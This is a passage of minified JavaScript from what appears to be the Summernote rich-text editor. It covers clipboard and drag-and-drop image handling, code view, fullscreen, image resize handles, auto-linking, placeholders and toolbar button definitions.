(bKeepRatio) { var newRatio = pos.y / pos.x; var ratio = $target.data('ratio'); imageSize = { width: ratio > newRatio ? pos.x : pos.y / ratio, height: ratio > newRatio ? pos.x * ratio : pos.y }; } else { imageSize = { width: pos.x, height: pos.y }; } $target.css(imageSize); }; /** * returns whether editable area has focus or not. */ Editor.prototype.hasFocus = function () { return this.$editable.is(':focus'); }; /** * set focus */ Editor.prototype.focus = function () { // [workaround] Screen will move when page is scolled in IE. // - do focus when not focused if (!this.hasFocus()) { this.$editable.focus(); } }; /** * returns whether contents is empty or not. * @return {Boolean} */ Editor.prototype.isEmpty = function () { return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html(); }; /** * Removes all contents and restores the editable instance to an _emptyPara_. */ Editor.prototype.empty = function () { this.context.invoke('code', dom.emptyPara); }; /** * normalize content */ Editor.prototype.normalizeContent = function () { this.$editable[0].normalize(); }; return Editor; }()); var Clipboard = /** @class */ (function () { function Clipboard(context) { this.context = context; this.$editable = context.layoutInfo.editable; } Clipboard.prototype.initialize = function () { this.$editable.on('paste', this.pasteByEvent.bind(this)); }; /** * paste by clipboard event * * @param {Event} event */ Clipboard.prototype.pasteByEvent = function (event) { var clipboardData = event.originalEvent.clipboardData; if (clipboardData && clipboardData.items && clipboardData.items.length) { var item = lists.head(clipboardData.items); if (item.kind === 'file' && item.type.indexOf('image/') !== -1) { this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]); } this.context.invoke('editor.afterCommand'); } }; return Clipboard; }()); var Dropzone = /** @class */ (function () { function Dropzone(context) { this.context = context; this.$eventListener = $$1(document); this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.options = context.options; this.lang = this.options.langInfo; this.documentEventHandlers = {}; this.$dropzone = $$1([ '<div class="note-dropzone">', ' <div class="note-dropzone-message"/>', '</div>' ].join('')).prependTo(this.$editor); } /** * attach Drag and Drop Events */ Dropzone.prototype.initialize = function () { if (this.options.disableDragAndDrop) { // prevent default drop event this.documentEventHandlers.onDrop = function (e) { e.preventDefault(); }; // do not consider outside of dropzone this.$eventListener = this.$dropzone; this.$eventListener.on('drop', this.documentEventHandlers.onDrop); } else { this.attachDragAndDropEvent(); } }; /** * attach Drag and Drop Events */ Dropzone.prototype.attachDragAndDropEvent = function () { var _this = this; var collection = $$1(); var $dropzoneMessage = this.$dropzone.find('.note-dropzone-message'); this.documentEventHandlers.onDragenter = function (e) { var isCodeview = _this.context.invoke('codeview.isActivated'); var hasEditorSize = _this.$editor.width() > 0 && _this.$editor.height() > 0; if (!isCodeview && !collection.length && hasEditorSize) { _this.$editor.addClass('dragover'); _this.$dropzone.width(_this.$editor.width()); _this.$dropzone.height(_this.$editor.height()); $dropzoneMessage.text(_this.lang.image.dragImageHere); } collection = collection.add(e.target); }; this.documentEventHandlers.onDragleave = function (e) { collection = collection.not(e.target); if (!collection.length) { _this.$editor.removeClass('dragover'); } }; this.documentEventHandlers.onDrop = function () { collection = $$1(); _this.$editor.removeClass('dragover'); }; // show dropzone on dragenter when dragging a object to document // -but only if the editor is visible, i.e. has a positive width and height this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter) .on('dragleave', this.documentEventHandlers.onDragleave) .on('drop', this.documentEventHandlers.onDrop); // change dropzone's message on hover. this.$dropzone.on('dragenter', function () { _this.$dropzone.addClass('hover'); $dropzoneMessage.text(_this.lang.image.dropImage); }).on('dragleave', function () { _this.$dropzone.removeClass('hover'); $dropzoneMessage.text(_this.lang.image.dragImageHere); }); // attach dropImage this.$dropzone.on('drop', function (event) { var dataTransfer = event.originalEvent.dataTransfer; // stop the browser from opening the dropped content event.preventDefault(); if (dataTransfer && dataTransfer.files && dataTransfer.files.length) { _this.$editable.focus(); _this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files); } else { $$1.each(dataTransfer.types, function (idx, type) { var content = dataTransfer.getData(type); if (type.toLowerCase().indexOf('text') > -1) { _this.context.invoke('editor.pasteHTML', content); } else { $$1(content).each(function (idx, item) { _this.context.invoke('editor.insertNode', item); }); } }); } }).on('dragover', false); // prevent default dragover event }; Dropzone.prototype.destroy = function () { var _this = this; Object.keys(this.documentEventHandlers).forEach(function (key) { _this.$eventListener.off(key.substr(2).toLowerCase(), _this.documentEventHandlers[key]); }); this.documentEventHandlers = {}; }; return Dropzone; }()); var CodeMirror; if (env.hasCodeMirror) { if (env.isSupportAmd) { require(['codemirror'], function (cm) { CodeMirror = cm; }); } else { CodeMirror = window.CodeMirror; } } /** * @class Codeview */ var CodeView = /** @class */ (function () { function CodeView(context) { this.context = context; this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.$codable = context.layoutInfo.codable; this.options = context.options; } CodeView.prototype.sync = function () { var isCodeview = this.isActivated(); if (isCodeview && env.hasCodeMirror) { this.$codable.data('cmEditor').save(); } }; /** * @return {Boolean} */ CodeView.prototype.isActivated = function () { return this.$editor.hasClass('codeview'); }; /** * toggle codeview */ CodeView.prototype.toggle = function () { if (this.isActivated()) { this.deactivate(); } else { this.activate(); } this.context.triggerEvent('codeview.toggled'); }; /** * activate code view */ CodeView.prototype.activate = function () { var _this = this; this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml)); this.$codable.height(this.$editable.height()); this.context.invoke('toolbar.updateCodeview', true); this.$editor.addClass('codeview'); this.$codable.focus(); // activate CodeMirror as codable if (env.hasCodeMirror) { var cmEditor_1 = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror); // CodeMirror TernServer if (this.options.codemirror.tern) { var server_1 = new CodeMirror.TernServer(this.options.codemirror.tern); cmEditor_1.ternServer = server_1; cmEditor_1.on('cursorActivity', function (cm) { server_1.updateArgHints(cm); }); } cmEditor_1.on('blur', function (event) { _this.context.triggerEvent('blur.codeview', cmEditor_1.getValue(), event); }); // CodeMirror hasn't Padding. cmEditor_1.setSize(null, this.$editable.outerHeight()); this.$codable.data('cmEditor', cmEditor_1); } else { this.$codable.on('blur', function (event) { _this.context.triggerEvent('blur.codeview', _this.$codable.val(), event); }); } }; /** * deactivate code view */ CodeView.prototype.deactivate = function () { // deactivate CodeMirror as codable if (env.hasCodeMirror) { var cmEditor = this.$codable.data('cmEditor'); this.$codable.val(cmEditor.getValue()); cmEditor.toTextArea(); } var value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara; var isChange = this.$editable.html() !== value; this.$editable.html(value); this.$editable.height(this.options.height ? this.$codable.height() : 'auto'); this.$editor.removeClass('codeview'); if (isChange) { this.context.triggerEvent('change', this.$editable.html(), this.$editable); } this.$editable.focus(); this.context.invoke('toolbar.updateCodeview', false); }; CodeView.prototype.destroy = function () { if (this.isActivated()) { this.deactivate(); } }; return CodeView; }()); var EDITABLE_PADDING = 24; var Statusbar = /** @class */ (function () { function Statusbar(context) { this.$document = $$1(document); this.$statusbar = context.layoutInfo.statusbar; this.$editable = context.layoutInfo.editable; this.options = context.options; } Statusbar.prototype.initialize = function () { var _this = this; if (this.options.airMode || this.options.disableResizeEditor) { this.destroy(); return; } this.$statusbar.on('mousedown', function (event) { event.preventDefault(); event.stopPropagation(); var editableTop = _this.$editable.offset().top - _this.$document.scrollTop(); var onMouseMove = function (event) { var height = event.clientY - (editableTop + EDITABLE_PADDING); height = (_this.options.minheight > 0) ? Math.max(height, _this.options.minheight) : height; height = (_this.options.maxHeight > 0) ? Math.min(height, _this.options.maxHeight) : height; _this.$editable.height(height); }; _this.$document.on('mousemove', onMouseMove).one('mouseup', function () { _this.$document.off('mousemove', onMouseMove); }); }); }; Statusbar.prototype.destroy = function () { this.$statusbar.off(); this.$statusbar.addClass('locked'); }; return Statusbar; }()); var Fullscreen = /** @class */ (function () { function Fullscreen(context) { var _this = this; this.context = context; this.$editor = context.layoutInfo.editor; this.$toolbar = context.layoutInfo.toolbar; this.$editable = context.layoutInfo.editable; this.$codable = context.layoutInfo.codable; this.$window = $$1(window); this.$scrollbar = $$1('html, body'); this.onResize = function () { _this.resizeTo({ h: _this.$window.height() - _this.$toolbar.outerHeight() }); }; } Fullscreen.prototype.resizeTo = function (size) { this.$editable.css('height', size.h); this.$codable.css('height', size.h); if (this.$codable.data('cmeditor')) { this.$codable.data('cmeditor').setsize(null, size.h); } }; /** * toggle fullscreen */ Fullscreen.prototype.toggle = function () { this.$editor.toggleClass('fullscreen'); if (this.isFullscreen()) { this.$editable.data('orgHeight', this.$editable.css('height')); this.$window.on('resize', this.onResize).trigger('resize'); this.$scrollbar.css('overflow', 'hidden'); } else { this.$window.off('resize', this.onResize); this.resizeTo({ h: this.$editable.data('orgHeight') }); this.$scrollbar.css('overflow', 'visible'); } this.context.invoke('toolbar.updateFullscreen', this.isFullscreen()); }; Fullscreen.prototype.isFullscreen = function () { return this.$editor.hasClass('fullscreen'); }; return Fullscreen; }()); var Handle = /** @class */ (function () { function Handle(context) { var _this = this; this.context = context; this.$document = $$1(document); this.$editingArea = context.layoutInfo.editingArea; this.options = context.options; this.lang = this.options.langInfo; this.events = { 'summernote.mousedown': function (we, e) { if (_this.update(e.target)) { e.preventDefault(); } }, 'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': function () { _this.update(); }, 'summernote.disable': function () { _this.hide(); }, 'summernote.codeview.toggled': function () { _this.update(); } }; } Handle.prototype.initialize = function () { var _this = this; this.$handle = $$1([ '<div class="note-handle">', '<div class="note-control-selection">', '<div class="note-control-selection-bg"></div>', '<div class="note-control-holder note-control-nw"></div>', '<div class="note-control-holder note-control-ne"></div>', '<div class="note-control-holder note-control-sw"></div>', '<div class="', (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'), ' note-control-se"></div>', (this.options.disableResizeImage ? '' : '<div class="note-control-selection-info"></div>'), '</div>', '</div>' ].join('')).prependTo(this.$editingArea); this.$handle.on('mousedown', function (event) { if (dom.isControlSizing(event.target)) { event.preventDefault(); event.stopPropagation(); var $target_1 = _this.$handle.find('.note-control-selection').data('target'); var posStart_1 = $target_1.offset(); var scrollTop_1 = _this.$document.scrollTop(); var onMouseMove_1 = function (event) { _this.context.invoke('editor.resizeTo', { x: event.clientX - posStart_1.left, y: event.clientY - (posStart_1.top - scrollTop_1) }, $target_1, !event.shiftKey); _this.update($target_1[0]); }; _this.$document .on('mousemove', onMouseMove_1) .one('mouseup', function (e) { e.preventDefault(); _this.$document.off('mousemove', onMouseMove_1); _this.context.invoke('editor.afterCommand'); }); if (!$target_1.data('ratio')) { $target_1.data('ratio', $target_1.height() / $target_1.width()); } } }); // Listen for scrolling on the handle overlay. this.$handle.on('wheel', function (e) { e.preventDefault(); _this.update(); }); }; Handle.prototype.destroy = function () { this.$handle.remove(); }; Handle.prototype.update = function (target) { if (this.context.isDisabled()) { return false; } var isImage = dom.isImg(target); var $selection = this.$handle.find('.note-control-selection'); this.context.invoke('imagePopover.update', target); if (isImage) { var $image = $$1(target); var position = $image.position(); var pos = { left: position.left + parseInt($image.css('marginLeft'), 10), top: position.top + parseInt($image.css('marginTop'), 10) }; // exclude margin var imageSize = { w: $image.outerWidth(false), h: $image.outerHeight(false) }; $selection.css({ display: 'block', left: pos.left, top: pos.top, width: imageSize.w, height: imageSize.h }).data('target', $image); // save current image element. var origImageObj = new Image(); origImageObj.src = $image.attr('src'); var sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')'; $selection.find('.note-control-selection-info').text(sizingText); this.context.invoke('editor.saveTarget', target); } else { this.hide(); } return isImage; }; /** * hide * * @param {jQuery} $handle */ Handle.prototype.hide = function () { this.context.invoke('editor.clearTarget'); this.$handle.children().hide(); }; return Handle; }()); var defaultScheme = 'http://'; var linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i; var AutoLink = /** @class */ (function () { function AutoLink(context) { var _this = this; this.context = context; this.events = { 'summernote.keyup': function (we, e) { if (!e.isDefaultPrevented()) { _this.handleKeyup(e); } }, 'summernote.keydown': function (we, e) { _this.handleKeydown(e); } }; } AutoLink.prototype.initialize = function () { this.lastWordRange = null; }; AutoLink.prototype.destroy = function () { this.lastWordRange = null; }; AutoLink.prototype.replace = function () { if (!this.lastWordRange) { return; } var keyword = this.lastWordRange.toString(); var match = keyword.match(linkPattern); if (match && (match[1] || match[2])) { var link = match[1] ? keyword : defaultScheme + keyword; var node = $$1('<a />').html(keyword).attr('href', link)[0]; this.lastWordRange.insertNode(node); this.lastWordRange = null; this.context.invoke('editor.focus'); } }; AutoLink.prototype.handleKeydown = function (e) { if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) { var wordRange = this.context.invoke('editor.createRange').getWordRange(); this.lastWordRange = wordRange; } }; AutoLink.prototype.handleKeyup = function (e) { if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) { this.replace(); } }; return AutoLink; }()); /** * textarea auto sync. */ var AutoSync = /** @class */ (function () { function AutoSync(context) { var _this = this; this.$note = context.layoutInfo.note; this.events = { 'summernote.change': function () { _this.$note.val(context.invoke('code')); } }; } AutoSync.prototype.shouldInitialize = function () { return dom.isTextarea(this.$note[0]); }; return AutoSync; }()); var Placeholder = /** @class */ (function () { function Placeholder(context) { var _this = this; this.context = context; this.$editingArea = context.layoutInfo.editingArea; this.options = context.options; this.events = { 'summernote.init summernote.change': function () { _this.update(); }, 'summernote.codeview.toggled': function () { _this.update(); } }; } Placeholder.prototype.shouldInitialize = function () { return !!this.options.placeholder; }; Placeholder.prototype.initialize = function () { var _this = this; this.$placeholder = $$1('<div class="note-placeholder">'); this.$placeholder.on('click', function () { _this.context.invoke('focus'); }).text(this.options.placeholder).prependTo(this.$editingArea); this.update(); }; Placeholder.prototype.destroy = function () { this.$placeholder.remove(); }; Placeholder.prototype.update = function () { var isShow = !this.context.invoke('codeview.isActivated') && this.context.invoke('editor.isEmpty'); this.$placeholder.toggle(isShow); }; return Placeholder; }()); var Buttons = /** @class */ (function () { function Buttons(context) { this.ui = $$1.summernote.ui; this.context = context; this.$toolbar = context.layoutInfo.toolbar; this.options = context.options; this.lang = this.options.langInfo; this.invertedKeyMap = func.invertObject(this.options.keyMap[env.isMac ? 'mac' : 'pc']); } Buttons.prototype.representShortcut = function (editorMethod) { var shortcut = this.invertedKeyMap[editorMethod]; if (!this.options.shortcuts || !shortcut) { return ''; } if (env.isMac) { shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧'); } shortcut = shortcut.replace('BACKSLASH', '\\') .replace('SLASH', '/') .replace('LEFTBRACKET', '[') .replace('RIGHTBRACKET', ']'); return ' (' + shortcut + ')'; }; Buttons.prototype.button = function (o) { if (!this.options.tooltip && o.tooltip) { delete o.tooltip; } o.container = this.options.container; return this.ui.button(o); }; Buttons.prototype.initialize = function () { this.addToolbarButtons(); this.addImagePopoverButtons(); this.addLinkPopoverButtons(); this.addTablePopoverButtons(); this.fontInstalledMap = {}; }; Buttons.prototype.destroy = function () { delete this.fontInstalledMap; }; Buttons.prototype.isFontInstalled = function (name) { if (!this.fontInstalledMap.hasOwnProperty(name)) { this.fontInstalledMap[name] = env.isFontInstalled(name) || lists.contains(this.options.fontNamesIgnoreCheck, name); } return this.fontInstalledMap[name]; }; Buttons.prototype.isFontDeservedToAdd = function (name) { var genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy']; name = name.toLowerCase(); return ((name !== '') && this.isFontInstalled(name) && ($$1.inArray(name, genericFamilies) === -1)); }; Buttons.prototype.addToolbarButtons = function () { var _this = this; this.context.memo('button.style', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.magic), _this.options), tooltip: _this.lang.style.style, data: { toggle: 'dropdown' } }), _this.ui.dropdown({ className: 'dropdown-style', items: _this.options.styleTags, title: _this.lang.style.style, template: function (item) { if (typeof item === 'string') { item = { tag: item, title: (_this.lang.style.hasOwnProperty(item) ? _this.lang.style[item] : item) }; } var tag = item.tag; var title = item.title; var style = item.style ? ' style="' + item.style + '" ' : ''; var className = item.className ? ' class="' + item.className + '"' : ''; return '<' + tag + style + className + '>' + title + '</' + tag + '>'; }, click: _this.context.createInvokeHandler('editor.formatBlock') }) ]).render(); }); var _loop_1 = function (styleIdx, styleLen) { var item = this_1.options.styleTags[styleIdx]; this_1.context.memo('button.style.' + item, function () { return _this.button({ className: 'note-btn-style-' + item, contents: '<div data-value="' + item + '">' + item.toUpperCase() + '</div>', tooltip: _this.lang.style[item], click: _this.context.createInvokeHandler('editor.formatBlock') }).render(); }); }; var this_1 = this; for (var styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) { _loop_1(styleIdx, styleLen); } this.context.memo('button.bold', function () { return _this.button({ className: 'note-btn-bold', contents: _this.ui.icon(_this.options.icons.bold), tooltip: _this.lang.font.bold + _this.representShortcut('bold'), click: _this.context.createInvokeHandlerAndUpdateState('editor.bold') }).render(); }); this.context.memo('button.italic', function () { return _this.button({ className: 'note-btn-italic', contents: _this.ui.icon(_this.options.icons.italic), tooltip: _this.lang.font.italic + _this.representShortcut('italic'), click: _this.context.createInvokeHandlerAndUpdateState('editor.italic') }).render(); }); this.context.memo('button.underline', function () { return _this.button({ className: 'note-btn-underline', contents: _this.ui.icon(_this.options.icons.underline), tooltip: _this.lang.font.underline + _this.representShortcut('underline'), click: _this.context.createInvokeHandlerAndUpdateState('editor.underline') }).render(); }); this.context.memo('button.clear', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.eraser), tooltip: _this.lang.font.clear + _this.representShortcut('removeFormat'), click: _this.context.createInvokeHandler('editor.removeFormat') }).render(); }); this.context.memo('button.strikethrough', function () { return _this.button({ className: 'note-btn-strikethrough', contents: _this.ui.icon(_this.options.icons.strikethrough), tooltip: _this.lang.font.strikethrough + _this.representShortcut('strikethrough'), click: _this.context.createInvokeHandlerAndUpdateState('editor.strikethrough') }).render(); }); this.context.memo('button.superscript', function () { return _this.button({ className: 'note-btn-superscript', contents: _this.ui.icon(_this.options.icons.superscript), tooltip: _this.lang.font.superscript, click: _this.context.createInvokeHandlerAndUpdateState('editor.superscript') }).render(); }); this.context.memo('button.subscript', function () { return _this.button({ className: 'note-btn-subscript', contents: _this.ui.icon(_this.options.icons.subscript), tooltip: _this.lang.font.subscript, click: _this.context.createInvokeHandlerAndUpdateState('editor.subscript') }).render(); }); this.context.memo('button.fontname', function () { var styleInfo = _this.context.invoke('editor.currentStyle'); // Add 'default' fonts into the fontnames array if not exist $$1.each(styleInfo['font-family'].split(','), function (idx, fontname) { fontname = fontname.trim().replace(/['"]+/g, ''); if (_this.isFontDeservedToAdd(fontname)) { if ($$1.inArray(fontname, _this.options.fontNames) === -1) { _this.options.fontNames.push(fontname); } } }); return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents('<span class="note-current-fontname"/>', _this.options), tooltip: _this.lang.font.name, data: { toggle: 'dropdown' } }), _this.ui.dropdownCheck({ className: 'dropdown-fontname', checkClassName: _this.options.icons.menuCheck, items: _this.options.fontNames.filter(_this.isFontInstalled.bind(_this)), title: _this.lang.font.name, template: function (item) { return '<span style="font-family: \'' + item + '\'">' + item + '</span>'; }, click: _this.context.createInvokeHandlerAndUpdateState('editor.fontName') }) ]).render(); }); this.context.memo('button.fontsize', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents('<span class="note-current-fontsize"/>', _this.options), tooltip: _this.lang.font.size, data: { toggle: 'dropdown' } }), _this.ui.dropdownCheck({ className: 'dropdown-fontsize', checkClassName: _this.options.icons.menuCheck, items: _this.options.fontSizes, title: _this.lang.font.size, click: _this.context.createInvokeHandlerAndUpdateState('editor.fontSize') }) ]).render(); }); this.context.memo('button.color', function () { return _this.ui.buttonGroup({ className: 'note-color', children: [ _this.button({ className: 'note-current-color-button', contents: _this.ui.icon(_this.options.icons.font + ' note-recent-color'), tooltip: _this.lang.color.recent, click: function (e) { var $button = $$1(e.currentTarget); _this.context.invoke('editor.color', { backColor: $button.attr('data-backColor'), foreColor: $button.attr('data-foreColor') }); }, callback: function ($button) { var $recentColor = $button.find('.note-recent-color'); $recentColor.css('background-color', '#FFFF00'); $button.attr('data-backColor', '#FFFF00'); } }), _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents('', _this.options), tooltip: _this.lang.color.more, data: { toggle: 'dropdown' } }), _this.ui.dropdown({ items: [ '<div class="note-palette">', ' <div class="note-palette-title">' + _this.lang.color.background + '</div>', ' <div>', ' <button type="button" class="note-color-reset btn btn-light" data-event="backColor" data-value="inherit">', _this.lang.color.transparent, ' </button>', ' </div>', ' <div class="note-holder" data-event="backColor"/>', '</div>', '<div class="note-palette">', ' <div class="note-palette-title">' + _this.lang.color.foreground + '</div>', ' <div>', ' <button type="button" class="note-color-reset btn btn-light" data-event="removeFormat" data-value="foreColor">', _this.lang.color.resetToDefault, ' </button>', ' </div>', ' <div class="note-holder" data-event="foreColor"/>', '</div>' ].join(''), callback: function ($dropdown) { $dropdown.find('.note-holder').each(function (idx, item) { var $holder = $$1(item); $holder.append(_this.ui.palette({ colors: _this.options.colors, colorsName: _this.options.colorsName, eventName: $holder.data('event'), container: _this.options.container, tooltip: _this.options.tooltip }).render()); }); }, click: function (event) { var $button = $$1(event.target); var eventName = $button.data('event'); var value = $button.data('value'); if (eventName && value) { var key = eventName === 'backColor' ? 'background-color' : 'color'; var $color = $button.closest('.note-color').find('.note-recent-color'); var $currentButton = $button.closest('.note-color').find('.note-current-color-button'); $color.css(key, value); $currentButton.attr('data-' + eventName, value); _this.context.invoke('editor.' + eventName, value); } } }) ] }).render(); }); this.context.memo('button.ul', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.unorderedlist), tooltip: _this.lang.lists.unordered + _this.representShortcut('insertUnorderedList'), click: _this.context.createInvokeHandler('editor.insertUnorderedList') }).render(); }); this.context.memo('button.ol', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.orderedlist), tooltip: _this.lang.lists.ordered + _this.representShortcut('insertOrderedList'), click: _this.context.createInvokeHandler('editor.insertOrderedList') }).render(); }); var justifyLeft = this.button({ contents: this.ui.icon(this.options.icons.alignLeft), tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'), click: this.context.createInvokeHandler('editor.justifyLeft') }); var justifyCenter = this.button({ contents: this.ui.icon(this.options.icons.alignCenter), tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'), click: this.context.createInvokeHandler('editor.justifyCenter') }); var justifyRight = this.button({ contents: this.ui.icon(this.options.icons.alignRight), tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'), click: this.context.createInvokeHandler('editor.justifyRight') }); var justifyFull = this.button({ contents: this.ui.icon(this.options.icons.alignJustify), tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'), click: this.context.createInvokeHandler('editor.justifyFull') }); var outdent = this.button({ contents: this.ui.icon(this.options.icons.outdent), tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'), click: this.context.createInvokeHandler('editor.outdent') }); var indent = this.button({ contents: this.ui.icon(this.options.icons.indent), tooltip: this.lang.paragraph.indent + this.representShortcut('indent'), click: this.context.createInvokeHandler('editor.indent') }); this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render')); this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render')); this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render')); this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render')); this.context.memo('button.outdent', func.invoke(outdent, 'render')); this.context.memo('button.indent', func.invoke(indent, 'render')); this.context.memo('button.paragraph', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.alignLeft), _this.options), tooltip: _this.lang.paragraph.paragraph, data: { toggle: 'dropdown' } }), _this.ui.dropdown([ _this.ui.buttonGroup({ className: 'note-align', children: [justifyLeft, justifyCenter, justifyRight, justifyFull] }), _this.ui.buttonGroup({ className: 'note-list', children: [outdent, indent] }) ]) ]).render(); }); this.context.memo('button.height', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.textHeight), _this.options), tooltip: _this.lang.font.height, data: { toggle: 'dropdown' } }), _this.ui.dropdownCheck({ items: _this.options.lineHeights, checkClassName: _this.options.icons.menuCheck, className: 'dropdown-line-height', title: _this.lang.font.height, click: _this.context.createInvokeHandler('editor.lineHeight') }) ]).render(); }); this.context.memo('button.table', function () { return _this.ui.buttonGroup([ _this.button({ className: 'dropdown-toggle', contents: _this.ui.dropdownButtonContents(_this.ui.icon(_this.options.icons.table), _this.options), tooltip: _this.lang.table.table, data: { toggle: 'dropdown' } }), _this.ui.dropdown({ title: _this.lang.table.table, className: 'note-table', items: [ '<div class="note-dimension-picker">', ' <div class="note-dimension-picker-mousecatcher" data-event="insertTable" data-value="1x1"/>', ' <div class="note-dimension-picker-highlighted"/>', ' <div class="note-dimension-picker-unhighlighted"/>', '</div>', '<div class="note-dimension-display">1 x 1</div>' ].join('') }) ], { callback: function ($node) { var $catcher = $node.find('.note-dimension-picker-mousecatcher'); $catcher.css({ width: _this.options.insertTableMaxSize.col + 'em', height: _this.options.insertTableMaxSize.row + 'em' }).mousedown(_this.context.createInvokeHandler('editor.insertTable')) .on('mousemove', _this.tableMoveHandler.bind(_this)); } }).render(); }); this.context.memo('button.link', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.link), tooltip: _this.lang.link.link + _this.representShortcut('linkDialog.show'), click: _this.context.createInvokeHandler('linkDialog.show') }).render(); }); this.context.memo('button.picture', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.picture), tooltip: _this.lang.image.image, click: _this.context.createInvokeHandler('imageDialog.show') }).render(); }); this.context.memo('button.video', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.video), tooltip: _this.lang.video.video, click: _this.context.createInvokeHandler('videoDialog.show') }).render(); }); this.context.memo('button.hr', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.minus), tooltip: _this.lang.hr.insert + _this.representShortcut('insertHorizontalRule'), click: _this.context.createInvokeHandler('editor.insertHorizontalRule') }).render(); }); this.context.memo('button.fullscreen', function () { return _this.button({ className: 'btn-fullscreen', contents: _this.ui.icon(_this.options.icons.arrowsAlt), tooltip: _this.lang.options.fullscreen, click: _this.context.createInvokeHandler('fullscreen.toggle') }).render(); }); this.context.memo('button.codeview', function () { return _this.button({ className: 'btn-codeview', contents: _this.ui.icon(_this.options.icons.code), tooltip: _this.lang.options.codeview, click: _this.context.createInvokeHandler('codeview.toggle') }).render(); }); this.context.memo('button.redo', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.redo), tooltip: _this.lang.history.redo + _this.representShortcut('redo'), click: _this.context.createInvokeHandler('editor.redo') }).render(); }); this.context.memo('button.undo', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.undo), tooltip: _this.lang.history.undo + _this.representShortcut('undo'), click: _this.context.createInvokeHandler('editor.undo') }).render(); }); this.context.memo('button.help', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.question), tooltip: _this.lang.options.help, click: _this.context.createInvokeHandler('helpDialog.show') }).render(); }); }; /** * image : [ * ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']], * ['float', ['floatLeft', 'floatRight', 'floatNone' ]], * ['remove', ['removeMedia']] * ], */ Buttons.prototype.addImagePopoverButtons = function () { var _this = this; // Image Size Buttons this.context.memo('button.imageSize100', function () { return _this.button({ contents: '<span class="note-fontsize-10">100%</span>', tooltip: _this.lang.image.resizeFull, click: _this.context.createInvokeHandler('editor.resize', '1') }).render(); }); this.context.memo('button.imageSize50', function () { return _this.button({ contents: '<span class="note-fontsize-10">50%</span>', tooltip: _this.lang.image.resizeHalf, click: _this.context.createInvokeHandler('editor.resize', '0.5') }).render(); }); this.context.memo('button.imageSize25', function () { return _this.button({ contents: '<span class="note-fontsize-10">25%</span>', tooltip: _this.lang.image.resizeQuarter, click: _this.context.createInvokeHandler('editor.resize', '0.25') }).render(); }); // Float Buttons this.context.memo('button.floatLeft', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.alignLeft), tooltip: _this.lang.image.floatLeft, click: _this.context.createInvokeHandler('editor.floatMe', 'left') }).render(); }); this.context.memo('button.floatRight', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.alignRight), tooltip: _this.lang.image.floatRight, click: _this.context.createInvokeHandler('editor.floatMe', 'right') }).render(); }); this.context.memo('button.floatNone', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.alignJustify), tooltip: _this.lang.image.floatNone, click: _this.context.createInvokeHandler('editor.floatMe', 'none') }).render(); }); // Remove Buttons this.context.memo('button.removeMedia', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.trash), tooltip: _this.lang.image.remove, click: _this.context.createInvokeHandler('editor.removeMedia') }).render(); }); }; Buttons.prototype.addLinkPopoverButtons = function () { var _this = this; this.context.memo('button.linkDialogShow', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.link), tooltip: _this.lang.link.edit, click: _this.context.createInvokeHandler('linkDialog.show') }).render(); }); this.context.memo('button.unlink', function () { return _this.button({ contents: _this.ui.icon(_this.options.icons.unlink), tooltip: _this.lang.link.unlink, click: _this.context.createInvokeHandler('editor.unlink') }).render(); }); }; /** * table : [ * ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']], * ['delete', ['deleteRow', 'deleteCol', 'deleteTable']] * ], */ 